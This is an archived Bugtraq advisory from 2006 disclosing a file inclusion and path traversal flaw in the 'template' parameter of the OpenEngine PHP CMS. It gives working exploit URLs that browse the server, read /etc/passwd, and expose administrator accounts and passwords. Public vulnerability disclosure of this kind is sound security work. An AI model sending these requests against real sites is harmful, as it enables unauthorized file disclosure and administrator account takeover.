bugtraq - OpenEngine (PHP CMS)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20060507133631.23038.qmail@securityfocus.com>
Date: 7 May 2006 13:36:31 -0000
From: ck@...oli.info
To: bugtraq@...urityfocus.com
Subject: OpenEngine (PHP CMS)

OpenEngine is a PHP based CMS.

The parameter "template" is not correctly checked, for this you can include other scripts which will be interpreted.

All actual versions are vulnerable (up to 1.8 Beta 2, which is the newest one), only the paths and consequences differ.

For example you can browse the web server with 

http://cmspath/website.php?template=../system/03_admin/edit/upload&site_pool=/

or disclose any file (depending on rights) with

http://cmspath/website.php?template=../system/03_admin/edit/individual&include=/etc/passwd 

I have tested these two examples on versions 1.8 Beta 2 and 1.7.1.

Version 1.6 shows you all administrators of the cms with

http://cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2

Now you know the account_key and can take a look at the chosen administrators password:

http://cmspath/website.php?template=../system/admin/accounts&action2=searchaccounts&accounts_group=2&action=editaccount&accounts_lastname=&accounts_email=&accounts_group=2&account_key=<account_key>

Of course there are several other possibilities... just vary the parameter "template".